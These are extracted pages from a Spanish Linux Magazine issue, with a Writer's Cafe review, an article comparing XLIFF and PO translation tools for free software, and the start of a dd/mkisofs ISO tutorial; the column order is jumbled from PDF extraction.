mentales y moverlas arriba y abajo en la lista. EnCharacters puede introducirse información defondo sobre los personajes (apariencia, persona-lidad, destrezas, deseos, etc) con objeto de darletodo el realismo posible cuando se va a escribirsobre ellos. Puede introducirse informaciónsobre lugares en la solapa Locations.
Añadir nuevas tarjetas es tan simple comopulsar [Ctrl] + [N], o haciendo clic sobre elbotón de nueva tarjeta en la barra de herramien-tas. El tamaño de la tarjeta puede cambiarse conView | Preferences | Aesthetics. La tarjeta seráañadida a la línea argumental, mostrándose enuna lista desplegable en la parte superior dere-cha de la pantalla. Puede cambiarse la líneaargumental allí o haciendo clic en la línea argu-mental deseada en el botón de la pantalla. Latarjeta se colocará en una columna, lo cual per-mite que las líneas argumentales se enlacen ypuede moverse la tarjeta a otra línea argumentalo a una nueva columna simplemente con arras-trar y soltar.
Algunas tarjetas pueden seleccionarseusando [Ctrl] + clic izquierdo, mientras quepueden borrarse con [Ctrl] + [Del]. Es posibleetiquetar columnas haciendo clic en elnúmero de la columna e introduciendo algúntexto y también pueden agruparse columnaspor secciones para reflejar capítulos o actos enla historia.
Para comenzar a introducir información enla tarjeta se usa la solapa Card situada en laparte superior derecha. En Description anota-remos un escueto resumen del argumento, yluego, en Content se introduce el texto en con-creto de la escena o episodio. Así como losefectos de formateado de texto básico, estasolapa tiene botones que permiten el formate-ado básico para guiones de teatro o de pelícu-las y televisión, los cuales se conservan si elproyecto es exportado a un procesador detexto. También pueden establecerse (a través
usuario crear trocitos de texto que podrían ser labase para un trabajo más detallado.
WordTiles parece estar menos integrada enWriter’s Cafe que las otras aplicaciones asisten-tes. El tamaño de su fuente debe ser ajustadoseparadamente (en View | Preferences | Aesthe-
tics), y no hay opción para exportar directa-mente a Notebook o a Journal.
StoryLinesTodas las aplicaciones anteriormente citadas sonútiles por sí mismas, pero la atracción principalde Writer’s Cafe, el lugar donde se lleva a cabo eltrabajo real, es en StoryLines. StoryLines estádiseñado de manera muy ingeniosa para permi-tir el desarrollo de la trama, de los personajes, delcontenido y de las escenas simultáneamente.Está basado en tarjetas que contienen fragmen-tos del argumento y en las que pueden introdu-cirse casi cualquier cosa. Dichas tarjetas puedenser movidas a lo largo de la línea de argumentopara permitir experimentar con diferentes de-sarrollos argumentales alterando la secuencia deacontecimientos. Y, lo que es más importante,puede tenerse más de una línea argumental, asíque puede disponerse de un juego de aconteci-mientos relacionados con cada protagonista enla ficción y ver de un vistazo lo que les está ocu-rriendo en esa red de la línea de argumentos conlo que les está pasando a otros protagonistas enel mismo punto en el libro. La habilidad de mez-clar las tarjetas independientemente en cadalínea argumental significa que puede experi-mentarse con diferentes dispositivos de argu-mento sin tener que reescribir cada vez grandessecciones.
StoryLines se posiciona en un agradable tér-mino medio entre la escuela de escritores quepostula que hay que “esbozar el argumentoantes de comenzar a escribir” o y la escuelaque dicta que hay que “comenzar a escribir yesperar que todo caiga en su sitio”. Se puedetrabajar con las líneas argumentales y escribirla escena ocasional completa cuando llega eldeseo apremiante de escribir, o bien escribirdistintas escenas y hacer juegos malabares
LINUX USER • Érase una vez
72 Número 22 W W W . L I N U X - M A G A Z I N E . E S
Figura 4: Funciones WordTiles como la colección de imanes del frigorífico.
Figura 5: StoryLines permite encontrar sub-argumentos para tu historia.
de View | Preferences | Content Highlighting)colores específicos para elementos individua-les como diálogo, acción, etc., que puedenhacer que la navegación a través del guión seamás fácil.
En la solapa Setting puede especificarsedónde está teniendo lugar el episodio. Bienpuede seleccionarse de la lista de lugares intro-ducidos anteriormente, o bien añadir unonuevo. La solapa Annotation permite añadirnotas generales sobre el episodio, mientras quepara adjuntar imágenes (por ejemplo, una fotode una revista con el tipo de vestido que imagi-nas podría llevar una heroína) se usaría Image.
La parte superior derecha de la pantalla tam-bién tiene solapas para notas e informes del pro-yecto general. Project Notes ofrece una manerarápida de importar texto existente en las tarjetas,simplemente copiándolo y pegándolo en estasolapa, destacando las secciones y pulsando[Ctrl] + [N]. De este modo se obtendrá unanueva tarjeta con el texto relevante. Una ligeradesventaja de esto es que el texto acaba en lasolapa de la descripción de la tarjeta, cuandodebería ser más apropiado, en el caso de gran-des textos, colocarlo en la solapa Content.
Los informes son básicamente toda la infor-mación en las tarjetas dispuesta en formato
lineal para formar una narrativa conectada o unguión. Se encuentran disponibles cinco tipos dis-tintos de informes de estilo (Figura 7), desde eltabular (reflejando la composición de la tarjeta),la novela (texto directo) y adaptación (formate-ado para reflejar las convenciones del guión usa-das en la solapa Card | Content. Estos estilos pue-den hacerse a medida y pueden añadirse otrosnuevos yendo a Report | Report Preferences | Cho-
ose | Add e introduciendo un nombre para elinforme y haciendo clic en OK, y por último ajus-tando los estilos de los distintos parámetrossegún las necesidades propias.
Una vez nos estemos satisfechos con nuestrashistorias y con la composición del informe, pode-mos exportarlo (vía Report | Export Report) a unformato más tradicional. Puede exportarse aHTML, texto llano, Open-Office.org Writer o alformato HelpView propio de Anthemion. Estopermite hacer backups regulares de trabajos endesarrollo en un formato de lectura accesible.
Haciendo clic sobre cualquier tarjeta y selec-cionando Card Properties...| Card Statisticsdará elrecuento de palabras para esa tarjeta en particu-lar, así como el total para la columna y la líneaargumental a la que pertenece la tarjeta (Figura9). Sin embargo, parece no haber manera deconseguir un recuento de palabras para todas laslíneas argumentales en la obra si no es aña-diendo el total para cada línea argumentalmanualmente.
Cards Icons, en el mismo cuadro de diálogo,permite añadir indicios visuales sobre los conte-nidos de la tarjeta, por ejemplo, puede añadirseun icono ToDo para recordar que queda trabajopor hacer en esa tarjeta. Incluso pueden impor-tarse iconos propios a esta lista.
Si se han escrito algunas tarjetas y no está deltodo claro a qué línea argumental deberían serasignadas, pueden almacenarse temporalmenteen pockets. Cada proyecto tiene un pocket prede-terminado llamado Scraps, pero pueden añadirsemás si así se desea. Una única tarjeta o grupos detarjetas fácilmente pueden ser cambiadas entrelíneas argumentales y pockets.
ConclusiónWriter’s Cafe permite organizar una tareade composición de manera muy eficiente.Está bien mantenida, con nuevas versionesrenovadas cada 2-3 meses (la más reciente,la 1.22, añade el soporte Unicode, por ejem-plo). Su única desventaja es que no seencuentra disponible bajo licencia libre. Laversión registrada, cuyo precio son unos 37Euros, suprime el límite de 5 líneas de histo-ria y 30 tarjetas de la descarga libre y per-mite el acceso a un escueto libro sobre escri-tura de ficción de Harriet Smart, el cual con-tiene algunos buenos consejos. Bueno, yaestá bien de tanto hablar, debo irme y aca-bar mi bestseller. �
Érase una vez • LINUX USER
73Número 22W W W . L I N U X - M A G A Z I N E . E S
Figura 6: Un título y descripción del proyecto en la solapa Basics.
Figura 8: Usa el cuadro de diálogo Edit Report
Style para hacer a medida un informe StoryLine.
Figura 9: La solapa Card Statistics propor-
ciona un resumen de los datos de la tarjeta.
Figura 7: StoryLines viene con cinco estilos de informes diferentes.
[1] Kdissert: http://freehackers.org/
~tnagy/kdissert
[2] Writer’s Cafe: http://www.writerscafe.
co.uk
[3] Anthemion: http://www.anthemion.
co.uk
[4] wxWidgets: http://www.wxwidgets.
org
RECURSOS
LINUX USER • Educación
74 Número 22 W W W . L I N U X - M A G A Z I N E . E S
(como el esqueleto de su formato, que se uti-
lizará para generar el fichero traducido en el
mismo formato) y el proceso de traducción.
Los documentos XLIFF suelen tener la
extensión .xlf, o .xlz si están comprimidos. Es
trivial generar un documento XLIFF porque
existen conversores de formato adecuados.
Como experimento vamos a crear un fichero
.xlz a partir del .html de una versión provisio-
nal del documento que estamos escribiendo.
Utilizamos los OLT XLIFF Filters; sólo hemos
tenido que arrastrar y soltar el fichero
texto_fuente.html sobre la ventana del con-
versor (figura 1). El resultado es
texto_fuente.html.xlz, un paquete ZIP compri-
mido con tres ficheros: workflow.properties,
skeleton.skl (con la información que permi-
tirá recuperar el formato original) y
content.xlf[3], que es el que nos interesa. Lo
examinamos con un editor de texto (figura 2):
se trata de una plantilla XLIFF 1.0. Para empe-
La traducción del software libre
CAMBIO DEHERRAMIENTASNo podemos cerrar el estudio sin examinar las propuestas de la industria
de la traducción: la especificación XLIFF y sus herramientas. ¿Está el soft-
ware libre a la altura? POR JUAN RAFAEL FERNÁNDEZ GARCÍA.
sobre la tesis de que era el momento de adop-
tar masivamente el formato y las herramien-
tas XLIFF para traducir los documentos de
nuestros programas y nuestros recursos.
¿Qué ha pasado mientras tanto? Para com-
prenderlo hay que empezar analizando el
nuevo formato.
La especificación XLIFFLa FAQ de XLIFF en OASIS define el XML
Localisation Interchange File Format, XLIFF,
como una especificación (no es todavía un
estándar OASIS, pero en su momento será un
estándar bendecido por la poderosa industria
de la localización) para el intercambio sin pér-
dida de datos de localización y de la informa-
ción relacionada con ellos[2]. Por tanto, se
trata de un formato para almacenar cadenas
de texto extraídas de un fichero original que
se desea traducir, y permite incorporar infor-
mación adicional sobre el documento original
De la salvaje segunda entrega nos que-
dan varias heridas abiertas. Una eran
las insuficiencias del formato PO, ese
arcaico formato de la era pre-XML. ¿Existe
alguna alternativa libre, alguna solución hacia
la que correr?
El verano en que creímostener una respuestaEl verano de 2005 fue especial para el mundo
de la traducción libre: por un lado Tim Foster
había anunciado el 21 de junio la disponibili-
dad en abierto de las legendarias (llevábamos
años esperándolas) herramientas internas de
Sun, las Open Language Tools (hablaremos
de ellas más adelante), que nos iban a permi-
tir trabajar al fin en el formato XLIFF; también
teníamos Transolution, y los filtros de Fredrik
Corneliusson y de Rodolfo Raya… En su inge-
nuidad, un servidor montó su ponencia en
los Encuentros de Software Libre de Dijon[1]
La traducción del software libre
CAMBIO DEHERRAMIENTAS
Editor Ejemplo 1 Ejemplo 2 Ejemplo 3 Ejemplo 4
Heartsome XLIFF Editor 5.0-8 OK OK OK OK
Open Language Tools RC 1.1 No lo abre No lo abre No lo abre No lo abre
Transolution Alpha OK OK OK OK
Trados 7.0 No funciona OK OK No funciona
SDLX OK OK OK OK∫
Tabla 1: Estudio de Rodolfo Raya de los editores XLIFF
ducción tiene que ser el inglés de Estados
Unidos (en-US).
Iniciando el paralelismo con el sistema Get-
text/PO que hemos analizado en las anterio-
res entregas y al que queríamos llegar, nos
encontraríamos en el momento de la creación
de la plantilla POT. Y ahora sería el momento
de traducir las cadenas de texto. Utilizamos
(en un momento hablaremos de los editores
XLIFF) el OLT Translation Editor. Creamos
zar apreciamos un error en la conversión: a
pesar de que nuestro fichero fuente, html 4.0
correcto (revisado con tidy), indicaba que se
trata de un texto en castellano (lang=“es”), el
filtro decide que el texto de partida de la tra-
Educación • LINUX USER
75Número 22W W W . L I N U X - M A G A Z I N E . E S
Figura 1: El filtro de las Open-Language Tools en acción. Figura 2: El documento XLIFF creado.
[1] Ponencia en inglés On the Translation of Educational Resources. A Critical Overview (http://speches.ofset.org/jrfernandez/rmll2005). La
ponencia no deja de ser una actualización del estudio iniciado con La Traducción en el mundo del Software Libre: Análisis del estado
de las herramientas lingüísticas, proyectos actuales y necesidades de la comunidad del software libre (2003, http://es.tldp.org/
Articulos/0000otras/doc-traduccion-libre/) y Un paso adelante. Plan de tecnologías lingüísticas libres (http://es.tldp.org/especicaciones/
herramientas-linguisticas/herramientas-linguisticas/).
[2] El Borrador final de la versión 1.0 es de finales de mayo de 2001; el 20 de mayo de 2003 se aprobó ya en OASIS la versión 1.1 de XLIFF;
el periodo de revisión pública del Borrador de la especificación 1.2 finalizó el 12 de septiembre de 2006.
OASIS (http://www.oasis-open.org/who/) es la Organization for the Advancement of Structured Information Standards, un consorcio
internacional de empresas y organismos que trabaja para «el desarrollo, la convergencia y la adopción de estándares de comercio
electrónico». La FAQ de XLIFF en Oasis: http://www.oasis-open.org/committees/xliff/faq.php. Sobre el Borrador de la especificación
1.2, http://www.oasis-open.org/committees/tc_home.php?wg_abbrev=xliff (o la forma abreviada http://www.xliff.org/). Para la historia
y los antecedentes de XLIFF, ver http://www.opentag.com/xliff.htm.
[3] Según la documentación del Editor de traducción del OLT, «el fichero .xlz contiene todos los segmentos fuente del fichero original y
todas las correspondencias (matches) halladas para cada uno de estos segmentos en la base de datos de traducciones. Contiene tam-
bién el formato del fichero fuente original para que el fichero .xlz traducido pueda ser reconvertido a su formato original».
[4] Sobre el Proyecto de herramientas XLIFF: http://xliff-tools.freedesktop.org/wiki/.
XLIFF-PO-Tools, el conjunto de filtros en lenguaje C del Proyecto XLIFF Tools: http://xliff-tools.freedesktop.org/wiki/Projects/xlifftool (a
propósito, la figura 5 procede de http://xliff-tools.freedesktop.org/images/xliffize-gettext.png). Es signicativo el comentario del autor a
la lista [email protected]: «xliffize tiene como objetivo integrar XLIFF en proyectos basados en la herramienta GNU
autotools, usando XLIFF como el formato de recursos nativo en detrimento de PO». Su funcionalidad estaría en la automatización de
la extracción de cadenas que traducir, en un papel similar al de intltool.
XLIFF-Tools Java: http://xliff-tools.freedesktop.org/wiki/Projects/XliffToolsJava (el 20 de octubre de 2006, en mensaje a la lista
[email protected], Raya ha confirmado la vigencia de los filtros: «La versión Java funciona perfectamente. Una versión
ligeramente modificada es la incluida entre las herramientas de traducción de Heartsome»).
XliffRoundTrip: https://sourceforge.net/projects/xliffroundtrip/, v. 0.6, 28 oct. 2004.
File2xliff4j: http://file2xliff4j.sourceforge.net/, 5 oct. 2006. Jooconverter: http://sourceforge.net/projects/joott/.
OLT XML Filters: http://open-language-tools.dev.java.net. Para el código fuente de los conversores incluidos en el paquete Debian
translate-toolkit visitar, una vez instalado, /usr/share/pycentral/translate-toolkit/site-packages/translate/convert/.
[5] http://transolution.python-hosting.com/. La última versión es la 0.4b5 (Genesis), de agosto de 2005, descargable desde http://
sourceforge.net/projects/eviltrans/.
[6] http://open-language-tools.dev.java.net.
[7] http://www.oasis-open.org/committees/xliff/faq.php#Ejemplos.
NOTAS
de un glosario si se
hubiera utilizado);
información de con-
texto (y comenta-
rios…); y final-
mente, mucho más
importante y nove-
dosa, de revisión: el
estado de aprobada
o rechazada
(state=”user:appro-
ved” o
state=”user:rejec-
ted”) de la traduc-
ción del segmento
por un posible
segundo agente en
el proceso (¡al fin
espacio para un
revisor!).
¿Qué pretende aportar XLIFF? ¿A qué pro-
blemas responde? La FAQ de XLIFF enumera
una serie de problemas que hacía necesaria la
creación del formato
• Problemas de interoperabilidad entre las
herramientas
• Las herramientas existentes no tienen en
cuenta la totalidad del flujo de trabajo del
proceso de localización/traducción
• Los desarrolladores de las herramientas de
localización debían enfrentarse a numero-
sos formatos
• Gran número de formatos intermedios pri-
vativos
XLIFF ofrece
• Un único formato para los procesos relacio-
nados (por ejemplo control de calidad en
términos de revisión orto-tipográfica)
• Un control más estrecho de lo que reciben
los traductores (permite pre-filtrar qué se
va a traducir)
• Flujo de información controlado (notas de
autor, de desarrolla-
dor, propiedades de
los items, etc.)
• Identificación de
todos los items del
proceso
• Todas las ventajas
del trabajo en y con
XML
Si nos fijamos en los
anteriores argumentos
en favor de la necesi-
dad de XLIFF nos
daremos cuenta de
que el formato ocupa
el mismo nicho ecoló-
gico que el formato
PO. Vendría a ser la versión XML y contempo-
ránea de lo que pretendía ser PO desde el
comienzo. Salvo que el formato PO no se ha
utilizado por la industria de la localización, y
salvo los problemas del sistema (ver la
segunda entrega, en Linux Magazine 20), que
no vamos a repetir.
Ahora estamos en condiciones de com-
prender el problema que se presenta a los
desarrolladores y traductores del mundo del
software libre ante la idea de cambiar de PO a
XLIFF: es verdad, posiblemente sea un for-
mato superior, pero… ¿están el sistema de
extracción de cadenas y generación de los
ficheros .xlf, están las herramientas especiali-
zadas de traducción y el conversor de vuelta
al formato original en una fase tan madura y
tan comprobada como la del sistema Gettext/
PO?
Examen de los filtros XLIFFEmpezaremos hablando de las XLIFF PO
Tools, del ¿australiano? Asgeir Frimannsson.
Xliff-tools es un conjunto de utilidades para la
conversión entre los formatos PO y XLIFF. Se
trataría de po2xliff (el conversor de PO a
XLIFF), xliff2po (conversor inverso de XLIFF
a PO), xliffinit (inicializa un fichero XLIFF
para una lengua específica) y xliffmerge
(fusiona un fichero XLIFF traducido con una
plantilla XLIFF actualizada).
El flujo de trabajo sería el esquematizado
en la figura 5. Dos problemas hacen que
debamos seguir buscando: por un lado Fri-
mannsson ha comunicado que después de
junio de 2005 abandonó el mantenimiento de
los filtros; en segundo lugar el itinerario
Fuente -> PO -> plantilla XLIFF -> XLIFF
traducido -> PO -> Destino no parece el
óptimo: ¿qué sentido tiene la presencia doble
de PO y XLIFF en el flujo de trabajo? Si sus
funciones son paralelas no deberían aparecer
un proyecto de traducción del castellano al
inglés (figura 3), cargamos el fichero .xlz y
comenzamos a trabajar (figura 4, con la pre-
sentación en forma de dos paneles enfrenta-
dos verticalmente y las correspondencias en
la base). Si ahora guardamos el trabajo y vol-
vemos a examinar texto_fuente.html.xlz vere-
mos que el único que ha cambiado es con-
tent.xlf (esto no es del todo exacto: si hemos
guardado la que llama la Mini-TM también se
habrá creado en ~/.xliffeditor). Veamos más
de cerca qué se ha generado abriendo el
fichero en un editor de textos.
Examinemos el fragmento; es evidente que
ya no es realista esperar que se pueda trabajar
en la traducción con un editor de texto nor-
mal, como se podía hacer con un fichero PO,
por desagradable que fuera la experiencia: es
necesario un editor de XML o mejor un editor
creado expresamente para trabajar con XLIFF.
El «código fuente XML» debe ocultarse al tra-
ductor (y las marcas XML deben protegerse
como se protegía el código fuente de un pro-
grama). Hemos traducido tres segmentos
(oraciones: el filtro de conversión ha segmen-
tado el original por oraciones), que se con-
vierten en «unidades de traducción»,
trans-units, con identificadores únicos (a1,
a2, a3). Encontramos la clásica oposición
entre cadena original y cadena traducida
(ahora como segmento fuente, source, frente
a segmento destino, target). Pero la informa-
ción proporcionada es mucho más amplia:
por un lado el número de palabras de cada
segmento; por otro, información de uso de la
memoria de traducción (vemos que el frag-
mento a1 ha recibido su traducción del frag-
mento a3), con la marca state=”auto-transla-
ted:translated” (también se incluirían datos
LINUX USER • Educación
76 Número 22 W W W . L I N U X - M A G A Z I N E . E S
Figura 3: Creación de un proyecto en el OLT XLIFF Translation Editor.
Figura 4: Uso del OLT Transeditor.
simultáneamente en el mismo proceso, ¿ver-
dad?
Similares, y también parte del «Proyecto de
herramientas XLIFF», son las xliff-tools-java,
de Rodolfo M. Raya. Aporta dos conversores:
po2xliff.sh y xliff2po. ¿Por qué le interesa esta
interoperabilidad entre PO y XLIFF? Ahora
caemos: ¡para lograr la unificación de bases
de datos de traducciones, de memorias de tra-
ducción y de glosarios! ¡para permitir la inter-
operabilidad entre proyectos con distinto ori-
gen! Espero que el lector paciente empiece a
adivinar a dónde queremos llegar en este
largo y tortuoso razonamiento, que ha ocu-
pado -no sé si lo sabe- casi cuatro años.
Pero ahora estamos presentando converso-
res. Otro filtro es XliffRoundTrip. Afirma
automatizar el camino de ida y vuelta entre
cualquier fichero XML y XLIFF. Consiste en
una aplicación en java y dos archivos XS. El
primero, xml2xliff.xsl, transforma XML en
XLIFF. El segundo, xliff2xml.xsl, reconvierte
el XLIFF en el XML traducido.
También hemos encontrado file2xliff4j, de
Airin, Sonny Zubia y Weldon Whipple, en
estado alfa según su página en Sourceforge. Al
parecer utiliza un proceso OpenOffice abierto
con la orden soffice -headless -norestore
-accept=”socket,port=8100;urp” y por tanto
utiliza los filtros de OpenOffice. Requiere una
numerosa lista de bibliotecas java, entre otras
JOOConverter, que convierte los documentos
de Word, Excel, PowerPoint y RTF a ODT y
después convierte el documento ODT a
XLIFF.
Mucho más maduros parecen los OLT
XLIFF Filters, también en java, complemen-
tarios del OLT Translation Editor. La lista de
ficheros que puede convertir es importante:
HTML, Docbook SGML, JSP, XML (filtro
genérico – requiere un fichero de
configuración para cada tipo de XML), Open-
Office.org y Open Document Format (sxw,
sxc, sxi y odw, odc, odi), texto plano, PO (get-
text), Msg/tmsg (catgets), ficheros .properties
y ResourceBundle de java, archivos de recur-
sos .DTD de Mozilla.
Tampoco debemos olvidar que el Translate
ToolKit complementario de Pootle incluye
po2xliff.py y xliff2po.py [4]. Volveremos sobre
esto porque hay aquí una clave que se nos
había pasado desapercibida.
El editor XLIFFTransolutionTransolution[5] (anunciado como EvilTrans
en marzo de 2005) se presenta como una
suite de traducción de fuente abierta que con-
siste en un editor XLIFF, un motor de memo-
rias de traducción (a cargo de Fredrik Estreen)
y unos filtros XLIFF.
El editor XLIFF está desarrollado en python
y con las bibliotecas gtk y glade por Fredrik
Corneliusson. A pesar de sus prometedores
primeros pasos, de su licencia GPL y de la
cercanía que proporciona el uso de las biblio-
tecas y widgets con los que el usuario está
familiarizado, ha vuelto a ocurrir la tragedia
del desarrollador independiente: el 28 de
enero de 2006 Fredrik Corneliusson anunció
que el desarrollo de Transolution quedaba
suspendido porque había cambiado de
empleo y la nueva ocupación no le dejaba
tiempo para continuar con su desarrollo. Y sí,
vamos a insistir por si ha pasado desaperci-
bido, la pérdida de un editor XLIFF GPL es
una tragedia.
¿Cómo funciona? Después de descompri-
mir el paquete con la aplicación se activa el
bit de ejecutable de xliffeditor.py y se lanza la
aplicación. La figura 6 es una captura del edi-
tor tras abrir nuestro fichero de prueba.
El Open-Language ToolsTranslation EditorEn este caso sí que se trata de un proyecto
vivo ¡y con todo el poder de Sun detrás! La
versión 1.2.6 es de 8 septiembre 2006[6]. La
licencia es la semi-libre Common Develop-
ment and Distribution License (CDDL) de
Sun, versión 1.0, con
todas las implicaciones
de requerir la máquina
virtual java de Sun 1.5.
Realmente no es nada
satisfactorio que el único
editor de XLIFF vivo de
código abierto tenga esta
dudosa licencia.
La herramienta de
Tim Foster está muy
bien documentada, y se
glosa también (figura 7)
el proceso de traducción
por medio de XLIFF. Ya la hemos mostrado
en uso, y no tenemos más que fijarnos en la
potencia de la interfaz para añadir marcas
(traducido, revisado y aprobado…) El pri-
meramente llamado OLP STE (ha sido
durante años una herramienta interna de
Sun) incluye varias características avanza-
das: permite importar y exportar memorias
de traducción en formato TMX, e incluye un
formato interno de memoria de traducción,
Mini-TM, con el que se pueden fusionar
memorias de distintos proyectos; está conce-
bido para la creación de bases de datos de
traducciones. El resultado, por supuesto, es
el fichero traducido (figura 8) en el formato
original (y nuevas entradas en la base de
datos de traducciones y en la memoria de
traducción).
¿Desencanto? ¿Quédesencanto?Sin embargo desde el verano de 2005 la
situación ha cambiado. No se puede decir
que los traductores de software y documen-
tación libres se hayan pasado en masa al
mundo de XLIFF. Hay voces que rechazan
su adopción por pesado, complejo e innece-
sario. Asgeir Frimannsson ha abandonado
sus filtros. Fredrik Corneliusson ha suspen-
dido el desarrollo de Transolution. Pero es
que hay más. El 26 de julio de 2005 Rodolfo
M. Raya envió a la lista [email protected]
desktop.org el resultado de un experimento.
Simplemente había descargado los cuatro
ejemplos de documentos XLIFF disponibles
en el sitio de OASIS [7] y había intentado
Educación • LINUX USER
77Número 22W W W . L I N U X - M A G A Z I N E . E S
Figura 6: Transolution.
Figura 5: Flujo de trabajo con xliff-po-tools.
Figura 7: Proceso de traducción con XLIFF.
ktop.org:
«El formato XLIFF, con
todos sus elementos espe-
cíficos, está obviamente
destinado a los traducto-
res profesionales y al
flujo de trabajo dentro de
las empresas. El formato
PO, por otro lado, fue
concebido para un flujo
de trabajo simple, consis-
tente únicamente en un
desarrollador y un tra-
ductor (…) Esto es ente-
ramente suficiente para
el 95% de los proyectos
de fuente abierta (…) Para el restante 5% de
proyectos, los mayores, como OpenOffice,
GNOME, etc., ciertas necesidades específicas
(por ejemplo flujos de trabajo más complica-
dos, o la desambiguación de los mensajes de
la interfaz gráfica de usuario por el contexto)
no son cubiertas por los archivos y las herra-
mientas PO».
Hay textos que son iluminadores en su cla-
ridad. Por un lado Haible no queda satisfecho
tras el reconocimiento de necesidades no
satisfechas por su sistema: hemos visto cómo
las últimas versiones de gettextt permiten pro-
porcionar información de contexto. Pero ade-
más creo que toca los conceptos clave de la
cuestión: profesionalización de la traducción,
flujo de trabajo, escala.
¿Puede el software libre dejar pasar el tren
de la profesionalización? ¿Puede ignorar las
exigencias, no sólo de continuidad (un tra-
ductor voluntario puede abandonar una tra-
ducción si lo desea, no está obligado más que
por su compromiso moral) y de coordinación
de equipos (¿hay muchas empresas en el
mundo capaz de generar el número de líneas
de código o de documentación que se gene-
ran en el mundo FOSS?), sino de calidad
(corrección ortotipográfica, completud del
flujo de trabajo de asignación de tareas, tra-
ducción, revisiones, actualizaciones, pero
sobre todo validez terminológica y semántica
de la traducción)? Y además, ¿tiene sentido
continuar como un reducto aislado en el mar
de la localización, alejados de los llamados
traductores profesionales y de las técnicas y
tecnologías aprendidas en las Escuelas de Tra-
ductores? Es verdad, una aplicación sola es
normalmente cosa de un equipo reducido,
pero esa aplicación será parte de un proyecto
mayor, sea GNU, Gnome, KDE… y la termi-
nología y las traducciones de ese proyecto
global deben ser coherentes, y ese proyecto se
mantendrá y actualizará periódicamente o
morirá.
¿Estamos en un callejón sin salida? Vamos
a recuperar un fragmento de las especificacio-
nes funcionales del proyecto WordForge:
«En la actualidad el formato Gettext/PO es
la base de toda la localización del mundo
FOSS. No obstante XLIFF es un estándar
emergente. Por consiguiente, el conjunto de
herramientas hará abstracción del uso de PO
o de XLIFF, de manera que puedan utilizarse
indistintamente. Esta abstracción permitirá
que las herramientas sigan siendo útiles a los
que trabajan en la localización si continúan
usando PO, pero también permitirá la migra-
ción al más rico formato XLIFF.
Los archivos de los diferentes proyec-
tos FOSS que van a traducirse se conver-
tirán a PO o a XLIFF usando filtros de
conversión de entrada. Seguidamente los
ficheros se envían a pootle. Una vez tra-
ducidos y revisados, se vuelven a conver-
tir al formato original usando filtros de
conversión de salida (…)
Además pootle puede utilizar glosarios
TBX y memorias de traducción TMX para
mejorar el contenido de los ficheros PO o
XLIFF que se presentan a los traductores
y revisores, facilitando así el trabajo del
traductor y asegurando la calidad de las
traducciones. La calidad se garantiza
mediante varias comprobaciones(…)»
Vaya vaya, va a resultar que la tecnolo-
gía TMX, TBX, XLIFF, está integrada y
abstraída en pootle (al menos como pro-
yecto en sus especificaciones). ¿Alguien
había hablado de desencanto? Ahora
comprendemos que tanto el esquema de
la figura 5 como el de la figura 7 son váli-
dos: en el primer caso se trata del proceso
de migración y de creación inicial de la
base de datos de traducciones; en el
segundo del trabajo directo con XLIFF.
Quizás las herramientas no estén termi-
nadas pero el camino parece estar claro.
Y en el próximo número…Nos falta hablar de dos cosas. Por un
lado, extraer conclusiones de nuestra
panorámica de herramientas y formatos,
cinco entregas de datos sin tomar deci-
siones y hacer propuestas no nos parece
aceptable. Por otro examinar el flujo de
trabajo de los equipos de traducción al
castellano. Que el bosque de los detalles
no nos haga olvidar que el objetivo
inmediato de esta serie de artículos era
lograr la incorporación de voluntarios a
los equipos de traducción. �
abrirlos con los distintos editores. En la tabla
1 podemos leer el resultado que obtenía:
Advirtamos para el lector no avisado que
Raya hace la comparación examinando tam-
bién software no libre y que es el desarrolla-
dor principal (espero no equivocarme aquí)
del editor Heartsome. He realizado la misma
prueba con las versiones actuales del editor
OLT (1.2.6) y Transolution (0.4b5): los resul-
tados son idénticos a los de Raya. Y es sor-
prendente, porque en nuestro ejemplo ante-
rior el funcionamiento de los dos editores
había sido impecable. Claro: el editor OLT no
tiene problemas para leer un XLIFF generado
por los filtros OLT.
¿Qué significa este resultado? Para hacerse
una idea recordemos que XLIFF es un for-
mato complicado, pero pensado específica-
mente para la compatibilidad («para el inter-
cambio sin pérdida de datos» que decía la
definición de la especificación). Es aceptable
que un editor vaya añadiendo detalles en su
cumplimiento del futuro estándar (un docu-
mento puede contener una carga de informa-
ción compleja, pero el reconocimiento o no de
unos determinados elementos y atributos es
opcional); lo que no es de recibo es que tra-
baje con una versión modificada y propia de
la especificación, y no sea capaz de abrir ni
siquiera los ejemplos XLIFF más simples.
¿Quiere esto decir que la opción XLIFF ha
fracasado? ¿Que, a pesar de que en abstracto
XLIFF sea un formato superior técnicamente,
en la práctica no está justificado el esfuerzo
de migración ni las herramientas disponibles
son adecuadas?
PO y XLIFF ¿frente afrente?El 16 de febrero de 2005 Bruno Haible, al que
ya conocemos como responsable actual de
gettext, enviaba la siguiente reflexión a la lista
LINUX USER • Educación
78 Número 22 W W W . L I N U X - M A G A Z I N E . E S
Figura 8: Momento de la generación del fichero traducido.
Linea de comandos: Isos • LINUX USER
79Número 22W W W . L I N U X - M A G A Z I N E . E S
La línea de comandos dispone de numerosas aplicaciones para copiarCDs o DVDs. Pero antes de que se pueda realizar la copia, es precisocrear una imagen ISO. ISO (o ISO 9660, para usar su nombre completo)
es el sistema de ficheros estándar para la administración de ficheros en CDs.mkisofs y dd son las herramientas de la línea de comandos que ayudan a
crear las imágenes ISO. La utilidad mkisofs soporta las extensiones Rockridgey Joliet (ver el cuadro “Rockridge y Joliet”). Incluso puede usarse mkisofspara hacer copia de los datos automáticamente, excluyendo ficheros indivi-duales si es necesario. dd es una herramienta alternativa que puede suponerla última oportunidad para salvar los datos de un disco duro muerto.
Convertir y CopiarLa práctica herramienta dd debería haberse llamado en realidad cc, por con-vertir y copiar. Pero como este nombre ya había sido asignado al compiladorC, los desarrolladores tomaron la letra siguiente del alfabeto.
dd crea una copia idéntica byte a byte del medio, no importa si son particio-nes del disco duro, CDs o DVDs. Soporta operaciones de lectura y escritura debloque seguras. Como no procesa o interpreta esos bloques, el sistema deficheros subyacente es indiferente. De hecho, dd incluso no se amedrenta pordiscos duros con errores (ver la sección “dd al Rescate: El Último Cartucho”).La sintaxis básica del comando es:
dd if=fuente of=objetivo
La opción if permite decirle a dd de dónde leer los datos fuente, mientras quela opción of define la salida.
La fuente y el objetivo son a menudo dispositivos tales como particiones deldisco duro o lectores/grabadores de CD/DVD. Como alternativa, puede usarseun signo igual para señalar a un fichero. Para copiar la partición del discoduro hda1 byte a byte a /dev/hdb1 se escribe:
dd if=/dev/hda1 of=/dev/hdb1
Incluso puede usarse dd para copiar rápidamente un CD o DVD en la línea decomando. Para crear una imagen ISO:
Creación de imágenes ISO con dd y mkisofs
